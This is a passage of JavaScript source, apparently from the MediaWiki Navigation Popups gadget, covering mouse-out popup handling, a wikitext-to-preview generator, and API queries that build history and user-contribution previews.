'<a id="popupImageLink$1">' +
'<img align="right" valign="top" id="popupImg$1" style="display: none;"></img>' +
'</a>',
[idNumber]
);
}
function popTipsSoonFn(id, when, popData) {
if (!when) {
when = 250;
}
const popTips = function () {
setupTooltips(document.getElementById(id), false, true, popData);
};
return function () {
setTimeout(popTips, when, popData);
};
}
function setPopupTipsAndHTML(html, divname, idnumber, popData) {
setPopupHTML(
html,
divname,
idnumber,
getValueOf('popupSubpopups') ? popTipsSoonFn(divname + idnumber, null, popData) : null
);
}
// ENDFILE: htmloutput.js
// STARTFILE: mouseout.js
//////////////////////////////////////////////////
// fuzzy checks
function fuzzyCursorOffMenus(x, y, fuzz, parent) {
if (!parent) {
return null;
}
const uls = parent.getElementsByTagName('ul');
for (let i = 0; i < uls.length; ++i) {
if (uls[i].className == 'popup_menu') {
if (uls[i].offsetWidth > 0) {
return false;
}
} // else {document.title+='.';}
}
return true;
}
function checkPopupPosition() {
// stop the popup running off the right of the screen
// FIXME avoid pg.current.link
if (pg.current.link && pg.current.link.navpopup) {
pg.current.link.navpopup.limitHorizontalPosition();
}
}
function mouseOutWikiLink() {
//console ('mouseOutWikiLink');
const a = this;
removeModifierKeyHandler(a);
if (a.navpopup === null || typeof a.navpopup === 'undefined') {
return;
}
if (!a.navpopup.isVisible()) {
a.navpopup.banish();
return;
}
restoreTitle(a);
Navpopup.tracker.addHook(posCheckerHook(a.navpopup));
}
function posCheckerHook(navpop) {
return function () {
if (!navpop.isVisible()) {
return true; /* remove this hook */
}
if (Navpopup.tracker.dirty) {
return false;
}
const x = Navpopup.tracker.x,
y = Navpopup.tracker.y;
const mouseOverNavpop =
navpop.isWithin(x, y, navpop.fuzz, navpop.mainDiv) ||
!fuzzyCursorOffMenus(x, y, navpop.fuzz, navpop.mainDiv);
// FIXME it'd be prettier to do this internal to the Navpopup objects
let t = getValueOf('popupHideDelay');
if (t) {
t = t * 1000;
}
if (!t) {
if (!mouseOverNavpop) {
if (navpop.parentAnchor) {
restoreTitle(navpop.parentAnchor);
}
navpop.banish();
return true; /* remove this hook */
}
return false;
}
// we have a hide delay set
const d = Date.now();
if (!navpop.mouseLeavingTime) {
navpop.mouseLeavingTime = d;
return false;
}
if (mouseOverNavpop) {
navpop.mouseLeavingTime = null;
return false;
}
if (d - navpop.mouseLeavingTime > t) {
navpop.mouseLeavingTime = null;
navpop.banish();
return true; /* remove this hook */
}
return false;
};
}
function runStopPopupTimer(navpop) {
// at this point, we should have left the link but remain within the popup
// so we call this function again until we leave the popup.
if (!navpop.stopPopupTimer) {
navpop.stopPopupTimer = setInterval(posCheckerHook(navpop), 500);
navpop.addHook(
() => {
clearInterval(navpop.stopPopupTimer);
},
'hide',
'before'
);
}
}
// ENDFILE: mouseout.js
// STARTFILE: previewmaker.js
/**
* @file
* Defines the {@link Previewmaker} object, which generates short previews from wiki markup.
*/
/**
* Creates a new Previewmaker
*
* @constructor
* @class The Previewmaker class. Use an instance of this to generate short previews from Wikitext.
* @param {string} wikiText The Wikitext source of the page we wish to preview.
* @param {string} baseUrl The url we should prepend when creating relative urls.
* @param {Navpopup} owner The navpop associated to this preview generator
*/
function Previewmaker(wikiText, baseUrl, owner) {
/** The wikitext which is manipulated to generate the preview. */
this.originalData = wikiText;
this.baseUrl = baseUrl;
this.owner = owner;
this.maxCharacters = getValueOf('popupMaxPreviewCharacters');
this.maxSentences = getValueOf('popupMaxPreviewSentences');
this.setData();
}
Previewmaker.prototype.setData = function () {
const maxSize = Math.max(10000, 2 * this.maxCharacters);
this.data = this.originalData.substring(0, maxSize);
};
/**
* Remove HTML comments
*
* @private
*/
Previewmaker.prototype.killComments = function () {
// this also kills one trailing newline, eg [[diamyo]]
this.data = this.data.replace(
/^<!--[^$]*?-->\n|\n<!--[^$]*?-->(?=\n)|<!--[^$]*?-->/g,
''
);
};
/**
* @private
*/
Previewmaker.prototype.killDivs = function () {
// say goodbye, divs (can be nested, so use * not *?)
this.data = this.data.replace(/< *div[^>]* *>[\s\S]*?< *\/ *div *>/gi, '');
};
/**
* @private
*/
Previewmaker.prototype.killGalleries = function () {
this.data = this.data.replace(/< *gallery[^>]* *>[\s\S]*?< *\/ *gallery *>/gi, '');
};
/**
* @private
*/
Previewmaker.prototype.kill = function (opening, closing, subopening, subclosing, repl) {
let oldk = this.data;
let k = this.killStuff(this.data, opening, closing, subopening, subclosing, repl);
while (k.length < oldk.length) {
oldk = k;
k = this.killStuff(k, opening, closing, subopening, subclosing, repl);
}
this.data = k;
};
/**
* @private
*/
Previewmaker.prototype.killStuff = function (
txt,
opening,
closing,
subopening,
subclosing,
repl
) {
const op = this.makeRegexp(opening);
const cl = this.makeRegexp(closing, '^');
const sb = subopening ? this.makeRegexp(subopening, '^') : null;
const sc = subclosing ? this.makeRegexp(subclosing, '^') : cl;
if (!op || !cl) {
alert('Navigation Popups error: op or cl is null! something is wrong.');
return;
}
if (!op.test(txt)) {
return txt;
}
let ret = '';
const opResult = op.exec(txt);
ret = txt.substring(0, opResult.index);
txt = txt.substring(opResult.index + opResult[0].length);
let depth = 1;
while (txt.length > 0) {
let removal = 0;
if (depth == 1 && cl.test(txt)) {
depth--;
removal = cl.exec(txt)[0].length;
} else if (depth > 1 && sc.test(txt)) {
depth--;
removal = sc.exec(txt)[0].length;
} else if (sb && sb.test(txt)) {
depth++;
removal = sb.exec(txt)[0].length;
}
if (!removal) {
removal = 1;
}
txt = txt.substring(removal);
if (depth === 0) {
break;
}
}
return ret + (repl || '') + txt;
};
/**
* @private
*/
Previewmaker.prototype.makeRegexp = function (x, prefix, suffix) {
prefix = prefix || '';
suffix = suffix || '';
let reStr = '';
let flags = '';
if (isString(x)) {
reStr = prefix + literalizeRegex(x) + suffix;
} else if (isRegExp(x)) {
let s = x.toString().substring(1);
const sp = s.split('/');
flags = sp[sp.length - 1];
sp[sp.length - 1] = '';
s = sp.join('/');
s = s.substring(0, s.length - 1);
reStr = prefix + s + suffix;
} else {
log('makeRegexp failed');
}
log('makeRegexp: got reStr=' + reStr + ', flags=' + flags);
return RegExp(reStr, flags);
};
/**
* @private
*/
Previewmaker.prototype.killBoxTemplates = function () {
// taxobox removal... in fact, there's a saudiprincebox_begin, so let's be more general
// also, have float_begin, ... float_end
this.kill(/[{][{][^{}\s|]*?(float|box)[_ ](begin|start)/i, /[}][}]\s*/, '{{');
// infoboxes etc
// from [[User:Zyxw/popups.js]]: kill frames too
this.kill(/[{][{][^{}\s|]*?(infobox|elementbox|frame)[_ ]/i, /[}][}]\s*/, '{{');
};
/**
* @private
*/
Previewmaker.prototype.killTemplates = function () {
this.kill('{{', '}}', '{', '}', ' ');
};
/**
* @private
*/
Previewmaker.prototype.killTables = function () {
// tables are bad, too
// this can be slow, but it's an inprovement over a browser hang
// torture test: [[Comparison_of_Intel_Central_Processing_Units]]
this.kill('{|', /[|]}\s*/, '{|');
this.kill(/<table.*?>/i, /<\/table.*?>/i, /<table.*?>/i);
// remove lines starting with a pipe for the hell of it (?)
this.data = this.data.replace(/^[|].*$/mg, '');
};
/**
* @private
*/
Previewmaker.prototype.killImages = function () {
const forbiddenNamespaceAliases = [];
$.each(mw.config.get('wgNamespaceIds'), (_localizedNamespaceLc, _namespaceId) => {
if (_namespaceId != pg.nsImageId && _namespaceId != pg.nsCategoryId) {
return;
}
forbiddenNamespaceAliases.push(_localizedNamespaceLc.split(' ').join('[ _]')); //todo: escape regexp fragments!
});
// images and categories are a nono
this.kill(
RegExp('[[][[]\\s*(' + forbiddenNamespaceAliases.join('|') + ')\\s*:', 'i'),
/\]\]\s*/,
'[',
']'
);
};
/**
* @private
*/
Previewmaker.prototype.killHTML = function () {
// kill <ref ...>...</ref>
this.kill(/<ref\b[^/>]*?>/i, /<\/ref>/i);
// let's also delete entire lines starting with <. it's worth a try.
this.data = this.data.replace(/(^|\n) *<.*/g, '\n');
// and those pesky html tags, but not <nowiki> or <blockquote>
const splitted = this.data.parenSplit(/(<[\w\W]*?(?:>|$|(?=<)))/);
const len = splitted.length;
for (let i = 1; i < len; i = i + 2) {
switch (splitted[i]) {
case '<nowiki>':
case '</nowiki>':
case '<blockquote>':
case '</blockquote>':
break;
default:
splitted[i] = '';
}
}
this.data = splitted.join('');
};
/**
* @private
*/
Previewmaker.prototype.killChunks = function () {
// heuristics alert
// chunks of italic text? you crazy, man?
const italicChunkRegex = /((^|\n)\s*:*\s*''[^']([^']|'''|'[^']){20}(.|\n[^\n])*''[.!?\s]*\n)+/g;
// keep stuff separated, though, so stick in \n (fixes [[Union Jack]]?
this.data = this.data.replace(italicChunkRegex, '\n');
};
/**
* @private
*/
Previewmaker.prototype.mopup = function () {
// we simply *can't* be doing with horizontal rules right now
this.data = this.data.replace(/^-{4,}/mg, '');
// no indented lines
this.data = this.data.replace(/(^|\n) *:[^\n]*/g, '');
// replace __TOC__, __NOTOC__ and whatever else there is
// this'll probably do
this.data = this.data.replace(/^__[A-Z_]*__ *$/gmi, '');
};
/**
* @private
*/
Previewmaker.prototype.firstBit = function () {
// dont't be givin' me no subsequent paragraphs, you hear me?
/// first we "normalize" section headings, removing whitespace after, adding before
let d = this.data;
if (getValueOf('popupPreviewCutHeadings')) {
this.data = this.data.replace(/\s*(==+[^=]*==+)\s*/g, '\n\n$1 ');
/// then we want to get rid of paragraph breaks whose text ends badly
this.data = this.data.replace(/([:;]) *\n{2,}/g, '$1\n');
this.data = this.data.replace(/^[\s\n]*/, '');
const stuff = /^([^\n]|\n[^\n\s])*/.exec(this.data);
if (stuff) {
d = stuff[0];
}
if (!getValueOf('popupPreviewFirstParOnly')) {
d = this.data;
}
/// now put \n\n after sections so that bullets and numbered lists work
d = d.replace(/(==+[^=]*==+)\s*/g, '$1\n\n');
}
// Split sentences. Superfluous sentences are RIGHT OUT.
// note: exactly 1 set of parens here needed to make the slice work
d = d.parenSplit(/([!?.]+["']*\s)/g);
// leading space is bad, mmkay?
d[0] = d[0].replace(/^\s*/, '');
const notSentenceEnds = /([^.][a-z][.] *[a-z]|etc|sic|Dr|Mr|Mrs|Ms|St|no|op|cit|\[[^\]]*|\s[A-Zvclm])$/i;
d = this.fixSentenceEnds(d, notSentenceEnds);
this.fullLength = d.join('').length;
let n = this.maxSentences;
let dd = this.firstSentences(d, n);
do {
dd = this.firstSentences(d, n);
--n;
} while (dd.length > this.maxCharacters && n !== 0);
this.data = dd;
};
/**
* @private
*/
Previewmaker.prototype.fixSentenceEnds = function (strs, reg) {
// take an array of strings, strs
// join strs[i] to strs[i+1] & strs[i+2] if strs[i] matches regex reg
for (let i = 0; i < strs.length - 2; ++i) {
if (reg.test(strs[i])) {
const a = [];
for (let j = 0; j < strs.length; ++j) {
if (j < i) {
a[j] = strs[j];
}
if (j == i) {
a[i] = strs[i] + strs[i + 1] + strs[i + 2];
}
if (j > i + 2) {
a[j - 2] = strs[j];
}
}
return this.fixSentenceEnds(a, reg);
}
}
return strs;
};
/**
* @private
*/
Previewmaker.prototype.firstSentences = function (strs, howmany) {
const t = strs.slice(0, 2 * howmany);
return t.join('');
};
/**
* @private
*/
Previewmaker.prototype.killBadWhitespace = function () {
// also cleans up isolated '''', eg [[Suntory Sungoliath]]
this.data = this.data.replace(/^ *'+ *$/gm, '');
};
/**
* Runs the various methods to generate the preview.
* The preview is stored in the <code>html</html> field.
*
* @private
*/
Previewmaker.prototype.makePreview = function () {
if (
this.owner.article.namespaceId() != pg.nsTemplateId &&
this.owner.article.namespaceId() != pg.nsImageId
) {
this.killComments();
this.killDivs();
this.killGalleries();
this.killBoxTemplates();
if (getValueOf('popupPreviewKillTemplates')) {
this.killTemplates();
} else {
this.killMultilineTemplates();
}
this.killTables();
this.killImages();
this.killHTML();
this.killChunks();
this.mopup();
this.firstBit();
this.killBadWhitespace();
} else {
this.killHTML();
}
this.html = wiki2html(this.data, this.baseUrl); // needs livepreview
this.fixHTML();
this.stripLongTemplates();
};
/**
* @private
*/
Previewmaker.prototype.esWiki2HtmlPart = function (data) {
const reLinks = /(?:\[\[([^|\]]*)(?:\|([^|\]]*))*]]([a-z]*))/gi; //match a wikilink
reLinks.lastIndex = 0; //reset regex
let match;
let result = '';
let postfixIndex = 0;
while ((match = reLinks.exec(data))) {
//match all wikilinks
//FIXME: the way that link is built here isn't perfect. It is clickable, but popups preview won't recognize it in some cases.
result +=
pg.escapeQuotesHTML(data.substring(postfixIndex, match.index)) +
'<a href="' +
Insta.conf.paths.articles +
pg.escapeQuotesHTML(match[1]) +
'">' +
pg.escapeQuotesHTML((match[2] ? match[2] : match[1]) + match[3]) +
'</a>';
postfixIndex = reLinks.lastIndex;
}
//append the rest
result += pg.escapeQuotesHTML(data.substring(postfixIndex));
return result;
};
Previewmaker.prototype.editSummaryPreview = function () {
const reAes = /\/\* *(.*?) *\*\//g; //match the first section marker
reAes.lastIndex = 0; //reset regex
let match;
match = reAes.exec(this.data);
if (match) {
//we have a section link. Split it, process it, combine it.
const prefix = this.data.substring(0, match.index - 1);
const section = match[1];
const postfix = this.data.substring(reAes.lastIndex);
let start = "<span class='autocomment'>";
let end = '</span>';
if (prefix.length > 0) {
start = this.esWiki2HtmlPart(prefix) + ' ' + start + '- ';
}
if (postfix.length > 0) {
end = ': ' + end + this.esWiki2HtmlPart(postfix);
}
const t = new Title().fromURL(this.baseUrl);
t.anchorFromUtf(section);
const sectionLink =
Insta.conf.paths.articles +
pg.escapeQuotesHTML(t.toString(true)) +
'#' +
pg.escapeQuotesHTML(t.anchor);
return (
start + '<a href="' + sectionLink + '">→</a> ' + pg.escapeQuotesHTML(section) + end
);
}
//else there's no section link, htmlify the whole thing.
return this.esWiki2HtmlPart(this.data);
};
/** Test function for debugging preview problems one step at a time. */
/*eslint-disable */
function previewSteps(txt) {
try {
txt = txt || document.editform.wpTextbox1.value;
} catch (err) {
if (pg.cache.pages.length > 0) {
txt = pg.cache.pages[pg.cache.pages.length - 1].data;
} else {
alert('provide text or use an edit page');
}
}
txt = txt.substring(0, 10000);
var base = pg.wiki.articlebase + Title.fromURL(document.location.href).urlString();
var p = new Previewmaker(txt, base, pg.current.link.navpopup);
if (this.owner.article.namespaceId() != pg.nsTemplateId) {
p.killComments();
if (!confirm('done killComments(). Continue?\n---\n' + p.data)) {
return;
}
p.killDivs();
if (!confirm('done killDivs(). Continue?\n---\n' + p.data)) {
return;
}
p.killGalleries();
if (!confirm('done killGalleries(). Continue?\n---\n' + p.data)) {
return;
}
p.killBoxTemplates();
if (!confirm('done killBoxTemplates(). Continue?\n---\n' + p.data)) {
return;
}
if (getValueOf('popupPreviewKillTemplates')) {
p.killTemplates();
if (!confirm('done killTemplates(). Continue?\n---\n' + p.data)) {
return;
}
} else {
p.killMultilineTemplates();
if (!confirm('done killMultilineTemplates(). Continue?\n---\n' + p.data)) {
return;
}
}
p.killTables();
if (!confirm('done killTables(). Continue?\n---\n' + p.data)) {
return;
}
p.killImages();
if (!confirm('done killImages(). Continue?\n---\n' + p.data)) {
return;
}
p.killHTML();
if (!confirm('done killHTML(). Continue?\n---\n' + p.data)) {
return;
}
p.killChunks();
if (!confirm('done killChunks(). Continue?\n---\n' + p.data)) {
return;
}
p.mopup();
if (!confirm('done mopup(). Continue?\n---\n' + p.data)) {
return;
}
p.firstBit();
if (!confirm('done firstBit(). Continue?\n---\n' + p.data)) {
return;
}
p.killBadWhitespace();
if (!confirm('done killBadWhitespace(). Continue?\n---\n' + p.data)) {
return;
}
}
p.html = wiki2html(p.data, base); // needs livepreview
p.fixHTML();
if (!confirm('done fixHTML(). Continue?\n---\n' + p.html)) {
return;
}
p.stripLongTemplates();
if (!confirm('done stripLongTemplates(). Continue?\n---\n' + p.html)) {
return;
}
alert('finished preview - end result follows.\n---\n' + p.html);
}
/*eslint-enable */
/**
* Works around livepreview bugs.
*
* @private
*/
Previewmaker.prototype.fixHTML = function () {
if (!this.html) {
return;
}
let ret = this.html;
// fix question marks in wiki links
// maybe this'll break some stuff :-(
ret = ret.replace(
RegExp('(<a href="' + pg.wiki.articlePath + '/[^"]*)[?](.*?")', 'g'),
'$1%3F$2'
);
ret = ret.replace(
RegExp("(<a href='" + pg.wiki.articlePath + "/[^']*)[?](.*?')", 'g'),
'$1%3F$2'
);
// FIXME fix up % too
this.html = ret;
};
/**
* Generates the preview and displays it in the current popup.
*
* Does nothing if the generated preview is invalid or consists of whitespace only.
* Also activates wikilinks in the preview for subpopups if the popupSubpopups option is true.
*/
Previewmaker.prototype.showPreview = function () {
this.makePreview();
if (typeof this.html != typeof '') {
return;
}
if (/^\s*$/.test(this.html)) {
return;
}
setPopupHTML('<hr />', 'popupPrePreviewSep', this.owner.idNumber);
setPopupTipsAndHTML(this.html, 'popupPreview', this.owner.idNumber, {
owner: this.owner,
});
const more = this.fullLength > this.data.length ? this.moreLink() : '';
setPopupHTML(more, 'popupPreviewMore', this.owner.idNumber);
};
/**
* @private
*/
Previewmaker.prototype.moreLink = function () {
const a = document.createElement('a');
a.className = 'popupMoreLink';
a.innerHTML = popupString('more...');
const savedThis = this;
a.onclick = function () {
savedThis.maxCharacters += 2000;
savedThis.maxSentences += 20;
savedThis.setData();
savedThis.showPreview();
};
return a;
};
/**
* @private
*/
Previewmaker.prototype.stripLongTemplates = function () {
// operates on the HTML!
this.html = this.html.replace(
/^.{0,1000}[{][{][^}]*?(<(p|br)( \/)?>\s*){2,}([^{}]*?[}][}])?/gi,
''
);
this.html = this.html.split('\n').join(' '); // workaround for <pre> templates
this.html = this.html.replace(/[{][{][^}]*<pre>[^}]*[}][}]/gi, '');
};
/**
* @private
*/
Previewmaker.prototype.killMultilineTemplates = function () {
this.kill('{{{', '}}}');
this.kill(/\s*[{][{][^{}]*\n/, '}}', '{{');
};
// ENDFILE: previewmaker.js
// STARTFILE: querypreview.js
function loadAPIPreview(queryType, article, navpop) {
const art = new Title(article).urlString();
let url = pg.wiki.apiwikibase + '?format=json&formatversion=2&action=query&';
let htmlGenerator = function (/*a, d*/) {
alert('invalid html generator');
};
let usernameart = '';
switch (queryType) {
case 'history':
url +=
'titles=' + art + '&prop=revisions&rvlimit=' + getValueOf('popupHistoryPreviewLimit');
htmlGenerator = APIhistoryPreviewHTML;
break;
case 'category':
url += 'list=categorymembers&cmtitle=' + art;
htmlGenerator = APIcategoryPreviewHTML;
break;
case 'userinfo':
var username = new Title(article).userName();
usernameart = encodeURIComponent(username);
if (pg.re.ipUser.test(username)) {
url += 'list=blocks&bkprop=range|restrictions&bkip=' + usernameart;
} else {
url +=
'list=users|usercontribs&usprop=blockinfo|groups|editcount|registration|gender&ususers=' +
usernameart +
'&meta=globaluserinfo&guiprop=groups|unattached&guiuser=' +
usernameart +
'&uclimit=1&ucprop=timestamp&ucuser=' +
usernameart;
}
htmlGenerator = APIuserInfoPreviewHTML;
break;
case 'contribs':
usernameart = encodeURIComponent(new Title(article).userName());
url +=
'list=usercontribs&ucuser=' +
usernameart +
'&uclimit=' +
getValueOf('popupContribsPreviewLimit');
htmlGenerator = APIcontribsPreviewHTML;
break;
case 'imagepagepreview':
var trail = '';
if (getValueOf('popupImageLinks')) {
trail = '&list=imageusage&iutitle=' + art;
}
url += 'titles=' + art + '&prop=revisions|imageinfo&rvslots=main&rvprop=content' + trail;
htmlGenerator = APIimagepagePreviewHTML;
break;
case 'backlinks':
url += 'list=backlinks&bltitle=' + art;
htmlGenerator = APIbacklinksPreviewHTML;
break;
case 'revision':
if (article.oldid) {
url += 'revids=' + article.oldid;
} else {
url += 'titles=' + article.removeAnchor().urlString();
}
url +=
'&prop=revisions|pageprops|info|images|categories&meta=wikibase&rvslots=main&rvprop=ids|timestamp|flags|comment|user|content&cllimit=max&imlimit=max';
htmlGenerator = APIrevisionPreviewHTML;
break;
}
pendingNavpopTask(navpop);
const callback = function (d) {
log('callback of API functions was hit');
if (queryType === 'userinfo') {
// We need to do another API request
fetchUserGroupNames(d.data).then(() => {
showAPIPreview(queryType, htmlGenerator(article, d, navpop), navpop.idNumber, navpop, d);
});
return;
}
showAPIPreview(queryType, htmlGenerator(article, d, navpop), navpop.idNumber, navpop, d);
};
const go = function () {
getPageWithCaching(url, callback, navpop);
return true;
};
if (navpop.visible || !getValueOf('popupLazyDownloads')) {
go();
} else {
navpop.addHook(go, 'unhide', 'before', 'DOWNLOAD_' + queryType + '_QUERY_DATA');
}
}
function linkList(list) {
list.sort((x, y) => x == y ? 0 : x < y ? -1 : 1);
const buf = [];
for (let i = 0; i < list.length; ++i) {
buf.push(
wikiLink({
article: new Title(list[i]),
text: list[i].split(' ').join(' '),
action: 'view',
})
);
}
return buf.join(', ');
}
function getTimeOffset() {
const tz = mw.user.options.get('timecorrection');
if (tz) {
if (tz.indexOf('|') > -1) {
// New format
return parseInt(tz.split('|')[1], 10);
}
}
return 0;
}
function getTimeZone() {
if (!pg.user.timeZone) {
const tz = mw.user.options.get('timecorrection');
pg.user.timeZone = 'UTC';
if (tz) {
const tzComponents = tz.split('|');
if (tzComponents.length === 3 && tzComponents[0] === 'ZoneInfo') {
pg.user.timeZone = tzComponents[2];
} else {
errlog('Unexpected timezone information: ' + tz);
}
}
}
return pg.user.timeZone;
}
/**
* Should we use an offset or can we use proper timezones
*/
function useTimeOffset() {
if (typeof Intl.DateTimeFormat.prototype.formatToParts === 'undefined') {
// IE 11
return true;
}
const tz = mw.user.options.get('timecorrection');
if (tz && tz.indexOf('ZoneInfo|') === -1) {
// System| Default system time, default for users who didn't configure timezone
// Offset| Manual defined offset by user
return true;
}
return false;
}
/**
* Array of locales for the purpose of javascript locale based formatting
* Filters down to those supported by the browser. Empty [] === System's default locale
*/
function getLocales() {
if (!pg.user.locales) {
let userLanguage = document.querySelector('html').getAttribute('lang'); // make sure we have HTML locale
if (getValueOf('popupLocale')) {
userLanguage = getValueOf('popupLocale');
} else if (userLanguage === 'en') {
// en.wp tends to treat this as international english / unspecified
// but we have more specific settings in user options
if (getMWDateFormat() === 'mdy') {
userLanguage = 'en-US';
} else {
userLanguage = 'en-GB';
}
}
pg.user.locales = Intl.DateTimeFormat.supportedLocalesOf([userLanguage, navigator.language]);
}
return pg.user.locales;
}
/**
* Retrieve configured MW date format for this user
* These can be
* default
* dmy: time, dmy
* mdy: time, mdy
* ymd: time, ymd
* dmyt: dmy, time
* dmyts: dmy, time + seconds
* ISO 8601: YYYY-MM-DDThh:mm:ss (local time)
*
* This isn't too useful for us, as JS doesn't have formatters to match these private specifiers
*/
function getMWDateFormat() {
return mw.user.options.get('date');
}
/**
* Creates a HTML table that's shown in the history and user-contribs popups.
*
* @param {Object[]} h - a list of revisions, returned from the API
* @param {boolean} reallyContribs - true only if we're displaying user contributions
*/
function editPreviewTable(article, h, reallyContribs) {
let html = ['<table>'];
let day = null;
let curart = article;
let page = null;
let makeFirstColumnLinks;
if (reallyContribs) {
// We're showing user contributions, so make (diff | hist) links
makeFirstColumnLinks = function (currentRevision) {
let result = '(';
result +=
'<a href="' +
pg.wiki.titlebase +
new Title(currentRevision.title).urlString() +
'&diff=prev' +
'&oldid=' +
currentRevision.revid +
'">' +
popupString('diff') +
'</a>';
result += ' | ';
result +=
'<a href="' +
pg.wiki.titlebase +
new Title(currentRevision.title).urlString() +
'&action=history">' +
popupString('hist') +
'</a>';
result += ')';
return result;
};
} else {
// It's a regular history page, so make (cur | last) links
const firstRevid = h[0].revid;
makeFirstColumnLinks = function (currentRevision) {
let result = '(';
result +=
'<a href="' +
pg.wiki.titlebase +
new Title(curart).urlString() +
'&diff=' +
firstRevid +
'&oldid=' +
currentRevision.revid +
'">' +
popupString('cur') +
'</a>';
result += ' | ';
result +=
'<a href="' +
pg.wiki.titlebase +
new Title(curart).urlString() +
'&diff=prev&oldid=' +
currentRevision.revid +
'">' +
popupString('last') +
'</a>';
result += ')';
return result;
};
}
for (let i = 0; i < h.length; ++i) {
if (reallyContribs) {
page = h[i].title;
curart = new Title(page);
}
const minor = h[i].minor ? '<b>m </b>' : '';
const editDate = new Date(h[i].timestamp);
let thisDay = formattedDate(editDate);
const thisTime = formattedTime(editDate);
if (thisDay == day) {
thisDay = '';
} else {
day = thisDay;
}
if (thisDay) {
html.push(
'<tr><td colspan=3><span class="popup_history_date">' + thisDay + '</span></td></tr>'
);
}
html.push('<tr class="popup_history_row_' + (i % 2 ? 'odd' : 'even') + '">');
html.push('<td>' + makeFirstColumnLinks(h[i]) + '</td>');
html.push(
'<td>' +
'<a href="' +
pg.wiki.titlebase +
new Title(curart).urlString() +
'&oldid=' +
h[i].revid +
'">' +
thisTime +
'</a></td>'
);
let col3url = '',
col3txt = '';
if (!reallyContribs) {
const user = h[i].user;
if (!h[i].userhidden) {
if (pg.re.ipUser.test(user)) {
col3url =
pg.wiki.titlebase +
mw.config.get('wgFormattedNamespaces')[pg.nsSpecialId] +
':Contributions&target=' +
new Title(user).urlString();
} else {
col3url =
pg.wiki.titlebase +
mw.config.get('wgFormattedNamespaces')[pg.nsUserId] +
':' +
new Title(user).urlString();
}
col3txt = pg.escapeQuotesHTML(user);
} else {
col3url = getValueOf('popupRevDelUrl');
col3txt = pg.escapeQuotesHTML(popupString('revdel'));
}
} else {
col3url = pg.wiki.titlebase + curart.urlString();
col3txt = pg.escapeQuotesHTML(page);
}
html.push(
'<td>' +
(reallyContribs ? minor : '') +
'<a href="' +
col3url +
'">' +
col3txt +
'</a></td>'
);
let comment = '';
const c = h[i].comment || ( typeof h[i].slots !== 'undefined' ? h[i].slots.main.content : null );
if (c) {
comment = new Previewmaker(c, new Title(curart).toUrl()).editSummaryPreview();
} else if (h[i].commenthidden) {
comment = popupString('revdel');
}
html.push('<td>' + (!reallyContribs ? minor : '') + comment + '</td>');
html.push('</tr>');
html = [html.join('')];
}
html.push('</table>');
return html.join('');
}
function adjustDate(d, offset) {
// offset is in minutes
const o = offset * 60 * 1000;
return new Date(Number(d) + o);
}
/**
* This relies on the Date parser understanding en-US dates,
* which is pretty safe assumption, but not perfect.
*/
function convertTimeZone(date, timeZone) {
return new Date(date.toLocaleString('en-US', { timeZone: timeZone }));
}
function formattedDateTime(date) {
// fallback for IE11 and unknown timezones
if (useTimeOffset()) {
return formattedDate(date) + ' ' + formattedTime(date);
}
if (getMWDateFormat() === 'ISO 8601') {
const d2 = convertTimeZone(date, getTimeZone());
return (
map(zeroFill, [d2.getFullYear(), d2.getMonth() + 1, d2.getDate()]).join('-') +
'T' +
map(zeroFill, [d2.getHours(), d2.getMinutes(), d2.getSeconds()]).join(':')
);
}
const options = getValueOf('popupDateTimeFormatterOptions');
options.timeZone = getTimeZone();
return date.toLocaleString(getLocales(), options);
}
function formattedDate(date) {
// fallback for IE11 and unknown timezones
if (useTimeOffset()) {
// we adjust the UTC time, so we print the adjusted UTC, but not really UTC values
var d2 = adjustDate(date, getTimeOffset());
return map(zeroFill, [d2.getUTCFullYear(), d2.getUTCMonth() + 1, d2.getUTCDate()]).join('-');
}
if (getMWDateFormat() === 'ISO 8601') {
var d2 = convertTimeZone(date, getTimeZone());
return map(zeroFill, [d2.getFullYear(), d2.getMonth() + 1, d2.getDate()]).join('-');
}
const options = getValueOf('popupDateFormatterOptions');
options.timeZone = getTimeZone();
return date.toLocaleDateString(getLocales(), options);
}
function formattedTime(date) {
// fallback for IE11 and unknown timezones
if (useTimeOffset()) {
// we adjust the UTC time, so we print the adjusted UTC, but not really UTC values
var d2 = adjustDate(date, getTimeOffset());
return map(zeroFill, [d2.getUTCHours(), d2.getUTCMinutes(), d2.getUTCSeconds()]).join(':');
}
if (getMWDateFormat() === 'ISO 8601') {
var d2 = convertTimeZone(date, getTimeZone());
return map(zeroFill, [d2.getHours(), d2.getMinutes(), d2.getSeconds()]).join(':');
}
const options = getValueOf('popupTimeFormatterOptions');
options.timeZone = getTimeZone();
return date.toLocaleTimeString(getLocales(), options);
}
// Get the proper groupnames for the technicalgroups
function fetchUserGroupNames(userinfoResponse) {
const queryObj = getJsObj(userinfoResponse).query;
const user = anyChild(queryObj.users);
const messages = [];
if (user.groups) {
user.groups.forEach((groupName) => {
if (['*', 'user', 'autoconfirmed', 'extendedconfirmed', 'oathauth-twofactorauth'].indexOf(groupName) === -1) {
messages.push('group-' + groupName + '-member');
}
});
}
if (queryObj.globaluserinfo && queryObj.globaluserinfo.groups) {
queryObj.globaluserinfo.groups.forEach((groupName) => {
messages.push('group-' + groupName + '-member');
});
}
return getMwApi().loadMessagesIfMissing(messages);
}
function showAPIPreview(queryType, html, id, navpop, download) {
// DJ: done
let target = 'popupPreview';
completedNavpopTask(navpop);
switch (queryType) {
case 'imagelinks':
case 'category':
target = 'popupPostPreview';
break;
case 'userinfo':
target = 'popupUserData';
break;
case 'revision':
insertPreview(download);
return;
}
setPopupTipsAndHTML(html, target, id);
}
function APIrevisionPreviewHTML(article, download) {
try {
const jsObj = getJsObj(download.data);
const page = anyChild(jsObj.query.pages);
if (page.missing) {
// TODO we need to fix this proper later on
download.owner = null;
return;
}
const content =
page && page.revisions && page.revisions[0] &&
page.revisions[0].slots && page.revisions[0].slots.main &&
page.revisions[0].slots.main.contentmodel === 'wikitext' ?
page.revisions[0].slots.main.content :
null;
if (typeof content === 'string') {
download.data = content;
download.lastModified = new Date(page.revisions[0].timestamp);
}
if (page.pageprops.wikibase_item) {
download.wikibaseItem = page.pageprops.wikibase_item;
download.wikibaseRepo = jsObj.query.wikibase.repo.url.base +
jsObj.query.wikibase.repo.url.articlepath;
}
} catch (someError) {
return 'Revision preview failed :(';
}
}
function APIbacklinksPreviewHTML(article, download /*, navpop*/) {
try {
const jsObj = getJsObj(download.data);
const list = jsObj.query.backlinks;
let html = [];
if (!list) {
return popupString('No backlinks found');
}
for (let i = 0; i < list.length; i++) {
const t = new Title(list[i].title);
html.push(
'<a href="' + pg.wiki.titlebase + t.urlString() + '">' + t.toString().entify() + '</a>'
);
